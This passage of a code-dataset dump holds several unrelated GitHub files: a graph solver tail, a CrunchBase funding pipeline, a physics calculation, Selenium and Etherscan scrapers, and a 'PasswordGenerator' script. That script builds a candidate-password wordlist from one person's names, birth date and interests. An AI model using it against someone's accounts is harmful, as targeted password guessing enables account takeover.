G.is_FVS(FVS):\n            sol = FVS\n        mask += 1\n    return sol\n\n\ndef print_solution(sol, DEBG=True):\n    if DEBG:\n        print(\"Minimum nodes to remove = \", len(sol))\n        print(\"Removed nodes = \", sol)\n    else:\n        print(\"\\n\".join(map(str, sol)))\n\n\nif __name__ == \"__main__\":\n    G = read_graph()\n    sol = find_solution(G)\n    print_solution(sol, False)\n\n\"\"\"\n\tOptimisation 1) If #nodes >= curSol: return\n\tOptimisation 2) Eval mask in order of #set_bits\n\"\"\"\n","repo_name":"realnimish/PACE2022","sub_path":"Exact/brute_force.py","file_name":"brute_force.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"72387387257","text":"import sys, os, time, random, string\nif sys.platform == \"linux\" or sys.platform == \"linux2\":\n    clr=\"clear\"\nelif sys.platform == \"win32\" or sys.platform == \"cygwin\" or sys.platform == \"msys\":\n    clr=\"cls\"\nline=(\"\\033[1;92m╔═\"+57*\"\\033[1;92m═\")\nline2=(\"\\033[1;92m║\"+58*\"\\033[1;92m═\")\nlogo=\"\"\" \\033[1;92m█████╗ ██╗  ██╗███╗   ██╗ ██████╗ ██╗    ██╗███╗   ██╗\n██╔══██╗██║ ██╔╝████╗  ██║██╔═══██╗██║    ██║████╗  ██║\n███████║█████╔╝ ██╔██╗ ██║██║   ██║██║ █╗ ██║██╔██╗ ██║\n██╔══██║██╔═██╗ ██║╚██╗██║██║   ██║██║███╗██║██║╚██╗██║\n██║  ██║██║  ██╗██║ ╚████║╚██████╔╝╚███╔███╔╝██║ ╚████║\n╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝\"\"\"\nLEET_LETTER = ['a','s', 'i', 'A', \"S\", 'I']\nLEET_DICT = {'A':\"4\", 'a':\"4\", 'I': \"1\", 'i': \"1\", \"S\": \"$\", \"s\": \"$\"}\ndef leetChanger(String):\n    a = String\n    for i in str(String):\n        if i in LEET_LETTER:\n            a = str(a).replace(i, LEET_DICT[str(i)])\n    return a\nclass GenerateUserPassword:\n    def __init__(self) -> None:\n        self.start()\n        \n    def start(self) -> None:\n        self.total = 0\n        self.numbers = []\n        self.strings = []\n        self.name = []\n        os.system(clr)\n        print(logo)\n        print(line)\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mFirst Name\")\n        self.first_name = pick()\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mLast Name\")\n        self.last_name = pick()\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mMiddle Name\")\n        self.middle_name = pick()\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mBirth Year ex:2000\")\n        self.birth_year = pick()\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mBirth Month ex:12\")\n        self.birth_month = pick()\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mBirth Day ex:16\")\n        self.birth_day = pick()\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mInput More Details About User\\n\\033[1;92m║ \\033[1;92mWith Space ex: dog/food/place etc.\")\n        self.etc = pick()\n        print(\"\\033[1;92m║ \\033[1;94m—> \\033[1;92mCheck Generated Password For Duplicate? y/N\")\n        dup = pick()\n        if dup[0] is \"y\" or dup[0] is \"Y\":\n            self.isChekablePassword = True\n        else:\n            self.isChekablePassword = False\n        for a in self.first_name, self.last_name, self.middle_name:\n            if a is not \"skip\":\n                self.name.append(a.lower())\n                self.strings.append(a.lower())\n                self.name.append(a.upper())\n                self.strings.append(a.upper())\n                \n                \n        for string in self.etc.split(\" \"):\n            self.strings.append(string.lower())\n            self.strings.append(string.upper())\n        self.numbers.append(str(self.birth_day))\n        self.numbers.append(str(self.birth_month))\n        self.numbers.append(str(self.birth_year))\n        self.file_name = str(self.first_name)\n        self.run()\n        \n    def createPossibleNamePatterns(self) -> list[str]:\n        possible_name_patterns = []\n        for a in self.name:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            for b in self.name:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                for c in self.name:\n                    sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                    sys.stdout.flush()\n                    self.total += 1\n                    if \"skip\" not in list[a, b, c]:\n                        possible_name_patterns.append(str(a)+str(b)+str(c))\n                        possible_name_patterns.append(str(a)+\"_\"+str(b)+\"_\"+str(c))\n                    elif a is \"skip\":\n                        possible_name_patterns.append(str(b)+str(c))\n                        possible_name_patterns.append(str(b)+\"_\"+str(c))\n                    elif b is \"skip\":\n                        possible_name_patterns.append(str(a)+str(c))\n                        possible_name_patterns.append(str(a)+\"_\"+str(c))\n                    elif c is \"skip\":\n                        possible_name_patterns.append(str(a)+str(b))\n                        possible_name_patterns.append(str(a)+\"_\"+str(b))\n        for i in possible_name_patterns:\n            if str(i)[0] in string.ascii_lowercase:\n                a = str(i).replace(str(i)[0], str(i)[0].upper())\n                possible_name_patterns.append(a)\n        \n        for possible in possible_name_patterns:\n            leetName = leetChanger(possible)\n            if not leetName in possible_name_patterns:\n                possible_name_patterns.append(leetName)\n        return possible_name_patterns\n    \n    def createPossibleBirthPatterns(self) -> list[str]:\n        possible_birth_patterns = []\n        for a in self.numbers:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            for b in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                for c in self.numbers:\n                    sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                    sys.stdout.flush()\n                    self.total += 1\n                    possible_birth_patterns.append(str(a)+str(b)+str(c))\n                    if len(str(a)) is 1 and str(a) is not \"0\":\n                        a = \"0\" + str(a)\n                        possible_birth_patterns.append(str(a)+str(b)+str(c))\n                    elif len(str(b)) is 1 and str(b) is not \"0\":\n                        b = \"0\" + str(b)\n                        possible_birth_patterns.append(str(a)+str(b)+str(c))\n                    elif len(str(c)) is 1 and str(c) is not \"0\":\n                        c = \"0\" + str(c)\n                        possible_birth_patterns.append(str(a)+str(b)+str(c))\n                    elif len(str(a)) is 4:\n                        a = a[:1]\n                        possible_birth_patterns.append(str(a)+str(b)+str(c))\n        return possible_birth_patterns\n    def createPossibleEtc(self) -> list[str]:\n        possible_etc_patterns = []\n        for a in self.strings:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            for b in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                possible_etc_patterns.append(str(a)+str(b))\n                possible_etc_patterns.append(str(b)+str(a))\n        for i in possible_etc_patterns:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            if str(i)[0] in string.ascii_lowercase:\n                a = str(i).replace(str(i)[0], str(i)[0].upper())\n                possible_etc_patterns.append(a)\n        to_upper = []\n        for i in possible_etc_patterns:    \n            to_upper.append(str(i).upper())\n        possible_etc_patterns.extend(to_upper)\n        for possible in possible_etc_patterns:\n            leetName = leetChanger(possible)\n            if not leetName in possible_etc_patterns:\n                possible_etc_patterns.append(leetName)\n        return possible_etc_patterns\n    \n    def createPossibleNamePatternsWithBirthday(self, names, birth) -> list[str]:\n        a = []\n        for b in self.name:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            for c in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                a.append(str(b)+str(c))\n                a.append(str(c)+str(b))\n            for d in birth:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                a.append(str(d)+str(b))\n                a.append(str(b)+str(d))\n        for b in names:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            for c in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                a.append(str(b)+str(c))\n                a.append(str(c)+str(b))\n            for d in birth:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                a.append(str(d)+str(b))\n                a.append(str(b)+str(d))\n        for possible in a:\n            leetName = leetChanger(possible)\n            if not leetName in a:\n                a.append(leetName)\n        return a\n    \n    def createPossibleNamePatternsWithDotAndBirthday(self, names, birth):\n        result = []\n        for name in self.strings:\n            for number in birth:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\".\"+str(number))\n                result.append(str(number)+\".\"+str(name))\n            for number in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\".\"+str(number))\n                result.append(str(number)+\".\"+str(name))\n        for name in names:\n            for number in birth:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\".\"+str(number))\n                result.append(str(number)+\".\"+str(name))\n            for number in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\".\"+str(number))\n                result.append(str(number)+\".\"+str(name))\n        for possible in result:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            leetName = leetChanger(possible)\n            if not leetName in result:\n                result.append(leetName)\n                \n        return result\n\n    def createPossibleNamePatternsWithSpaceAndBirthday(self, names, birth):\n        result = []\n        for name in self.strings:\n            for number in birth:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\"_\"+str(number))\n                result.append(str(number)+\"_\"+str(name))\n            for number in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\"_\"+str(number))\n                result.append(str(number)+\"_\"+str(name))\n        for name in names:\n            for number in birth:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\"_\"+str(number))\n                result.append(str(number)+\"_\"+str(name))\n            for number in self.numbers:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n                sys.stdout.flush()\n                self.total += 1\n                result.append(str(name)+\"_\"+str(number))\n                result.append(str(number)+\"_\"+str(name))\n        for possible in result:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} processing..\")\n            sys.stdout.flush()\n            self.total += 1\n            leetName = leetChanger(possible)\n            if not leetName in result:\n                result.append(leetName)\n                \n        return result\n\n    def run(self) -> None:\n        results = []\n        arrays_of_names = self.createPossibleNamePatterns()\n        arrays_of_birth = self.createPossibleBirthPatterns()\n        arrays_of_etc_with_birthday = self.createPossibleEtc()\n        arrays_of_names_with_birthday = self.createPossibleNamePatternsWithBirthday(arrays_of_names, arrays_of_birth)\n        arrays_of_names_with_dot_and_birthday = self.createPossibleNamePatternsWithDotAndBirthday(arrays_of_names, arrays_of_birth)\n        arrays_of_names_with_space_and_birthday = self.createPossibleNamePatternsWithSpaceAndBirthday(arrays_of_names, arrays_of_birth)\n        results.extend(arrays_of_names)\n        results.extend(arrays_of_birth)\n        results.extend(arrays_of_etc_with_birthday)\n        results.extend(arrays_of_names_with_birthday)\n        results.extend(arrays_of_names_with_dot_and_birthday)\n        results.extend(arrays_of_names_with_space_and_birthday)\n        #test for duplicate names\n        self.total = 0\n        final_results = []\n        if self.isChekablePassword:\n            for a in results:\n                sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} checking for duplicates..\")\n                sys.stdout.flush()\n                self.total += 1\n                if not a in final_results:\n                    final_results.append(a)\n        else:\n            final_results = results\n        try:\n            os.mkdir(\"results\")\n        except OSError:\n            pass\n        \n        self.total = 0\n        f = open(f\"results/{self.first_name}.txt\", \"a\")\n        for a in final_results:\n            sys.stdout.write(f\"\\033[1000D\\033[1;92m{self.total} writing results in file...\")\n            sys.stdout.flush()\n            self.total += 1\n            f.write(str(a)+\"\\n\")\n        f.close()\n        print(\"\\r\\r\\r\\r\\r\"+line)\n        print(f\"\\033[1;92m║ \\033[1;94m—> \\033[1;93m Result stored in result/{self.first_name}.txt \\033[1;92mTotal: {self.total}\")\n        input(\"\\033[1;92mExit\")\n        home()\n            \ndef home_pick() -> None:\n    p = pick()\n    if p == \"1\":\n        GenerateUserPassword()\n    else:\n        print(\"\\033[1;92m\\033[1;91minvalid input\")\n        home_pick()\ndef pick():\n    a = input(\"\\033[1;92m╚═════\\033[1;91m>>>\\033[1;97m\")\n    return a\ndef home():\n    os.system(clr)\n    print(logo)\n    print(line)\n    print(\"\\033[1;92m║ \\033[1;91m1. \\033[1;94m—> \\033[1;92mGenerate User Password\")\n    print(\"\\033[1;92m║ \\033[1;91m0. \\033[1;94m—> \\033[1;93mExit\")\n    home_pick()\nif __name__ == \"__main__\":\n    home()","repo_name":"AkNOwn389/PasswordGenerator","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":15675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"72041731896","text":"import os\nimport re\nimport json\nfrom data_getters.labs.core import download_file\nfrom data_getters.core import get_engine\nfrom ast import literal_eval\nimport pandas as pd\n\nimport beis_indicators\nfrom beis_indicators.geo.reverse_geocoder import reverse_geocode\nfrom beis_indicators.utils.dir_file_management import *\nfrom beis_indicators.utils.nesta_utils import get_daps_data\nfrom dotenv import load_dotenv\n\nfrom forex_python.converter import CurrencyRates\nc = CurrencyRates()\n\nproject_dir = beis_indicators.project_dir\n\n#Create indicator path to output indicators\nindicator_path = os.path.join(project_dir,'data/processed')\n\n#Get config path to work with daps data\nload_dotenv()\n\nconf_path = os.environ.get('config_path')\n\ndef make_conversion(x,tid):\n    '''\n\n    Function to convert funding rounds from CrunchBase into GBP\n    Args:\n        transaction: a transaction from the CB funding rounds dataset\n        tid: transaction id (to track issues)\n    Returns:\n        A conversion (if possible)\n    '''\n    #If an amount is not in GBP convert to GBP, if not, keep it as is\n    \n    #The currency converter doesn't work with Lebanese pounds so we will skip that\n    \n    if (x['raised_amount_currency_code']=='LBP')|(x['raised_amount_currency_code']==None):\n        return(np.nan)\n    else:\n        try:\n            out = x['raised_amount']*c.get_rate(\n                                                x['raised_amount_currency_code'],'GBP',x[\n                                                'announced_on']) if x[\n            'raised_amount_currency_code']!='GBP' else x['raised_amount']\n            return(out)\n\n        except: \n            print(tid)\n\ndef aggregate_investments(df,geography):\n    '''\n    This function aggregates level of funding over a geography and investment type for a selected period\n    \n    Arguments:\n        df: df with investment levels by geocoded organisaton, year and type\n        years: (list) year range to be considered\n        geography: (str) what geography name to use\n    \n    Returns a table where the rows are the geography and the columns are \n    levels of funding by investment type\n    \n    '''\n    \n    #Pivot\n    out = pd.pivot_table(df,index=[geography,'year'],columns='investment_type',\n                         values='raised_amount_gbp',aggfunc='sum').fillna(0)\n    \n    return(out)\n\ndef add_nuts_label(df,location_id,nuts_lookup,method):\n    '''\n    Add the nuts label to each company.\n    Args:\n        cb_df (pandas.DataFrame) is a crunchbase organisation df\n        location_id (str) is the id for a location\n        nuts_lookup (dict) is a lookup between location_id and nuts\n        method (str) is whether we are creating the indicator using a time \n        consistent approach \n            (each year in its NUTS category) or using the latest nuts\n    '''\n    df_2 = df.copy()\n\n    if method == 'time_consistent':\n        df_2['nuts_code'] = [nuts_lookup[row['location_id']][get_nuts_category(\n                                row['year'])] \n            if row['location_id'] in nuts_lookup.keys() else \n            np.nan for rid,row in df_2.iterrows()]\n    else:\n        df_2['nuts_code'] = [nuts_lookup[row['location_id']]['nuts2_2016'] if \n            row['location_id'] in nuts_lookup.keys() else \n            np.nan for rid,row in df_2.iterrows()]\n\n    return(df_2)\n\n############\n#1. Data and metadata \n############\n\n#Read geocoded nuts\nwith open(f\"{project_dir}/data/interim/cb_geos.json\", 'r') as infile:\n    cb_nuts = json.load(infile)\n\n# Download CrunchBase data using DAPS\n#Create connection with SQL\ncon =  get_engine(conf_path)\n\n#Read org data\n#Read funding rounds\ncb_funding_rounds = get_daps_data('crunchbase_funding_rounds',con)\n\n############\n#2. Process\n############\n#Geocode investments\n#Focus on recent investments in the UK\ncb_funding_rounds['year'] = [x.year for x in cb_funding_rounds['announced_on']]\n\ncb_funding_recent = cb_funding_rounds.loc[\n        cb_funding_rounds['year']>=2010]\n\ncb_funding_rounds_uk = cb_funding_recent.loc[\n        cb_funding_recent['country']=='United Kingdom']\n\ninv_geo = add_nuts_label(cb_funding_rounds_uk,\n                         'location_id',cb_nuts,method='time_consistent')\n\n#Currency conversion\n#If an amount is not in GBP convert to GBP, if not, keep it as is\ninv_geo['raised_amount_gbp'] = [make_conversion(x,rid) for rid,x in inv_geo.iterrows()]\n\n#Use the indicators_w_threshold function to calculate levels of investment by NUTS area\ninv_nuts2 = aggregate_investments(inv_geo,'nuts_code')\n\n#Focus on venture capital - investments that use the term 'series_'\ninv_venture = inv_nuts2[[x for x in inv_nuts2.columns if 'series_' in x]].sum(axis=1)\n\ninv_venture.name = 'venture_capital_investment'\n\ninv_venture = pd.DataFrame(inv_venture)\n\n#Extract indicator\nout = make_indicator(inv_venture,\n                     {'venture_capital_investment':'gbp_venture_capital_received'},\n              year_var='year',nuts_spec='flex',nuts_var='nuts_code',decimals=0)\n\nsave_indicator(out,f\"{indicator_path}/crunchbase\",'gbp_venture_capital_received')\n","repo_name":"nestauk/beis-indicators","sub_path":"ds/beis_indicators/crunchbase/make_crunchbase.py","file_name":"make_crunchbase.py","file_ext":"py","file_size_in_byte":5060,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"20550960188","text":"from matplotlib import pyplot as plt\nimport numpy as np\nimport math\nimport time\nfrom matplotlib.transforms import Transform\nfrom matplotlib.ticker import(AutoLocator, AutoMinorLocator)\nfrom collections import OrderedDict\n\npi = np.pi\ndeg2rad = pi/180.0 \nGeV2fm = 1./0.0389              #Convert Q^2 units from GeV^2 to fm^-2.\nhbar = 6.582e-16    #hbar in [eV*s].\nC = 299792458.0                 #Speed of light [m/s]. \ne_ch = 1.60217662e-19              #Electron charge C.\nalpha = 0.0072973525664         #1.0/137.0;              //Fine structure constant.\nA = 3\nZ = 2\nmuHe3 = -2.1275*(3.0/2.0)       #Dien's has this 3/2 factor for some reason, but it fits the data much better.  #2*2.793-1.913 is too naive.\nMtHe3 = 3.0160293*0.9315        #3He mass GeV.\nMtH = 0.938                     #H mass GeV.\n\ndef W(theta,E0,Ef):\n    theta = theta*deg2rad\n    #E0 = E\n    #Ef = E0/(1.0+2.0*E0*pow(np.sin(theta/2.0),2.0)/MtHe3)\n    Q2 = 4*E0*Ef*pow(np.sin(theta/2),2)\n    W = pow( abs(pow(MtHe3,2) + 2*MtHe3*(E0-Ef)-Q2) ,0.5)\n    print(\"Ef =\",Ef)\n    print(\"Q^2 =\",Q2,\"GeV^2 = \",Q2*25.7,\"fm^(-2).\")\n    print(\"W =\",W)\n    return W\n\nW(13,2.18,2)\n","repo_name":"skbarcus/JLab","sub_path":"Pol_3He_Asymmetry/Analysis/Invariant_Mass.py","file_name":"Invariant_Mass.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4024781009","text":"import time\n\nfrom config import log\nfrom lxml import html\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException, NoSuchWindowException, WebDriverException\nfrom selenium.webdriver.common.proxy import Proxy, ProxyType\n\n\nclass Browser:\n    def __init__(self, url, click_text='', click_times=0, click_delay=3, scroll_times=0, scroll_delay=3):\n        self.url = url\n        self.click_text = click_text\n        self.click_times = click_times\n        self.click_delay = click_delay\n        self.scroll_times = scroll_times\n        self.scroll_delay = scroll_delay\n        self.error = False\n        self.error_message = ''\n        self.proxy = Proxy()\n        self.proxy.proxy_type = ProxyType.MANUAL\n        self.proxy.http_proxy = '127.0.0.1:9950'\n        self.capabilities = webdriver.DesiredCapabilities.FIREFOX\n        self.proxy.add_to_capabilities(self.capabilities)\n        self.firefox = webdriver.Firefox(desired_capabilities=self.capabilities)\n        self.firefox.implicitly_wait(30)\n\n    def download(self):\n        if self.open():\n            if self.click() is False:\n                self.quit()\n                return False\n        else:\n            self.quit()\n            return False\n        return self.scroll()\n\n    def click(self):\n        l = log()\n        if self.click_times != 0:\n            for i in range(1, self.click_times):\n                try:\n                    self.firefox.find_element_by_link_text(self.click_text).click()\n                    message = 'Click: {} out of {} times - url={}'.\\\n                        format(i, self.click_times - 1, self.url)\n                    l.info(message)\n                except NoSuchElementException and NoSuchWindowException as exception:\n                    if self.url == \"https://icorating.com/ico/all/\" and i >= 161:\n                        return True\n                    self.error = True\n                    self.error_message = 'Click error: {} out of {} times - url={} - Exception: {}'. \\\n                        format(i, self.click_times - 1, self.url, repr(exception))\n                    l.error(self.error_message)\n                    self.quit()\n                    return False\n                except WebDriverException as exception:\n                    self.error = True\n                    self.error_message = 'Click error: {} out of {} times - url={} - Exception: {}'.\\\n                        format(i, self.click_times - 1, self.url, repr(exception))\n                    l.error(self.error_message)\n                    self.quit()\n                    return False\n                finally:\n                    time.sleep(self.click_delay)\n        return True\n\n    def scroll(self):\n        l = log()\n\n        if self.scroll_times != 0:\n            for i in range(1, self.scroll_times):\n                # Nota: hacer un try?\n                try:\n                    self.firefox.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n                    message = 'Scroll: {} out of {} times - url={}'.\\\n                        format(i, self.scroll_times - 1, self.url)\n                    l.info(message)\n                except WebDriverException as exception:\n                    self.error = True\n                    self.error_message = 'Scrolling error time={} out of {} times with url={} - Exception: {}'.\\\n                        format(i, self.scroll_times - 1, self.url, repr(exception))\n                    l.error(self.error_message)\n                    self.quit()\n                    return False\n                finally:\n                    time.sleep(self.scroll_delay)\n        page_source = self.firefox.page_source\n        self.quit()\n        return page_source\n\n    def open(self):\n        l = log()\n\n        try:\n            self.firefox.get(self.url)\n        except WebDriverException as exception:\n            self.error = True\n            self.error_message = 'Error opening url={} - Exception: {}'.format(self.url, repr(exception))\n            l.error(self.error_message)\n        finally:\n            tree = html.fromstring(self.firefox.page_source)\n            title = tree.xpath('/html/head/title/text()')\n            try:\n                if title[0] == 'Server Not Found':\n                    error = tree.xpath('// *[ @ id = \"errorShortDescText\"]/text()')\n\n                    self.error = True\n                    self.error_message = '{0} - {2} - url={1}'.format(title[0], self.url, error[0])\n                    l.error(self.error_message)\n            except IndexError as exception:\n                self.error = True\n                self.error_message = 'Invalid url={} - Exception: {}'.format(self.url, repr(exception))\n                l.error(self.error_message)\n            if self.error:\n                self.quit()\n                return False\n            else:\n                return True\n\n    def close(self):\n        self.firefox.close()\n\n    def quit(self):\n        self.firefox.quit()\n\n\ndef browser():\n    l = log()\n\n    crawl_url = \"https://tgram.io/topic/29/it/cryptocurrency\"\n    page = Browser(url=crawl_url, scroll_times=12)\n    page_source = page.download()\n    if page_source is False:\n        l.e(msg='Error downloading page source for url: {}'.format(crawl_url))\n    else:\n        l.i(msg='Success: source code for url: {}'.format(crawl_url))\n        file = 'cryptocurrency.html'\n        try:\n            with open(file, 'w') as f:\n                f.write(format(page_source))\n            l.i(msg='Success: source code for url: {} - saved to {}'.format(crawl_url, file))\n        except:\n            l.i(msg='Error: source code for url: {} - not saved to {}'.format(crawl_url, file))\n\n    crawl_url = \"https://tgram.io/topic/51/it/crypto-mining\"\n    page = Browser(url=crawl_url, scroll_times=2)\n    page_source = page.download()\n    if page_source is False:\n        l.e(msg='Error downloading page source for url: {}'.format(crawl_url))\n    else:\n        l.i(msg='Success: source code for url: {}'.format(crawl_url))\n        file = 'crypto-mining.html'\n        try:\n            with open(file, 'w') as f:\n                f.write(format(page_source))\n            l.i(msg='Success: source code for url: {} - saved to {}'.format(crawl_url, file))\n        except:\n            l.i(msg='Error: source code for url: {} - not saved to {}'.format(crawl_url, file))\n\n    crawl_url = \"https://icorating.com/ico/all/\"\n    page = Browser(url=crawl_url, click_text='Show more', click_times=180)\n    page_source = page.download()\n    if page_source is False:\n        l.e(msg='Error downloading page source for url: {}'.format(crawl_url))\n    else:\n        l.i(msg='Success: source code for url: {}'.format(crawl_url))\n        file = 'corating.html'\n        try:\n            with open(file, 'w') as f:\n                f.write(format(page_source))\n            l.i(msg='Success: source code for url: {} - saved to {}'.format(crawl_url, file))\n        except:\n            l.i(msg='Error: source code for url: {} - not saved to {}'.format(crawl_url, file))\n\nbrowser()","repo_name":"mnopi/examples","sub_path":"Python/misc/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":7041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12231433005","text":"from setuptools import setup, find_packages\nimport carbon_tracker\n\nNAME = 'carbon-tracker'\nVERSION = '0.1.0'\n\n\ndef setup_package():\n    metadata = dict(name=NAME,\n                    version=VERSION,\n                    packages=find_packages(),\n                    package_data={'': ['*.csv']},\n                    include_package_data=True)\n\n    setup(**metadata)\n\n\nif __name__ == \"__main__\":\n    setup_package()\n","repo_name":"otmive/carbon_tracker","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43799175133","text":"# 4889 안정적인 문자열\n# 31256KB / 48ms\n\nimport sys\ninput = sys.stdin.readline\n\ni = 0\nwhile 1:\n    i += 1\n    s = input().rstrip()\n    if '-' in s: break\n\n    scount, t = 0, 0\n    for st in s:\n        if st == '{':           # { 를 만나면 +1\n            scount += 1\n        else:\n            if scount:          # } 를 만났을 때 { 를 만났었다면 -1\n                scount -= 1\n            else:               # } 를 만났을 때 { 를 \n                t += 1\n                scount += 1\n    print(f'{i}. {t + scount//2}')","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week20_230601/4889_안정적인_문자열/4889_이민욱.py","file_name":"4889_이민욱.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"12061471151","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36'}\nblock_re = re.compile('/block/(\\d+)')\ntimestamp_re = re.compile('<i class=\\'far fa-clock small mr-1\\'></i>(.*?)\\n</div>')\nfrom_re = re.compile('<span id=\\'spanFromAdd\\' style=\\'display:none;\\'>(.*?)</span>')\nto_re = re.compile('<a id=\\'contractCopy\\' href=\\'/address/(.*?)\\'')\n\ndef info(tx):\n\turl = 'https://etherscan.io/tx/' + str(tx)\n\tr = requests.get(url, headers=headers)\n\tif r.status_code != 200:\n\t\treturn int(r.status_code)\n\tdata = {'txhash':tx,\n\t\t\t'status':None,\n\t\t\t'block':None,\n\t\t\t'timestamp':None,\n\t\t\t'from':None,\n\t\t\t'to':None,\n\t\t\t'to_readable':None,\n\t\t\t'action':None,\n\t\t\t'value':None,\n\t\t\t'txfee':None,\n\t\t\t'maxfee':None,\n\t\t\t'gaslimit':None,\n\t\t\t'gasprice':None,\n\t\t\t'nonce':None,\n\t\t\t}\n\t# block number \n\tblock_result = block_re.findall(r.text)\n\tif(len(block_result) > 0):\n\t\tdata['block'] = block_result[0]\n\telse:\n\t\tdata['block'] = 'Pending'\n\t# timestamp \n\ttimestamp_result = timestamp_re.findall(r.text)\n\tif(len(timestamp_result) > 0):\n\t\tdata['timestamp'] = timestamp_result[0]\n\telse:\n\t\tdata['timestamp'] = 'Unconfirmed'\n\t# from\n\tfrom_result = from_re.findall(r.text)\n\tif(len(from_result) > 0):\n\t\tdata['from'] = from_result[0]\n\telse:\n\t\tdata['from'] = 'Not found'\n\t# to \n\tto_result = to_re.findall(r.text)\n\tif(len(to_result) > 0):\n\t\tdata['to'] = to_result[0]\n\telse:\n\t\tdata['to'] = 'Not found'\n\t# to readable \n\ttoreadable_re = re.compile(data['to'] + '</span> <span class=\\'mr-1\\'>(.*?)</span>')\n\ttoreadableresult = toreadable_re.findall(r.text)\n\tif(len(toreadableresult) > 0):\n\t\tdata['to_readable'] = toreadableresult[0]\n\telse:\n\t\tdata['to_readable'] = 'Not readable'\n\t# action, value, fee, price, limit, nonce\n\tdata['action'] = '---'\n\tsoup = BeautifulSoup(r.text, 'html.parser')\n\tall_divs = soup.find_all('div', attrs = {'class':'row'}) # all divs with class row\n\tfor div in all_divs:\n\t\t# status \n\t\tif 'Status:' in div.text:\n\t\t\tif 'Success' in div.text:\n\t\t\t\tdata['status'] = 'Success'\n\t\t\telif 'Fail' in div.text:\n\t\t\t\tdata['status'] = 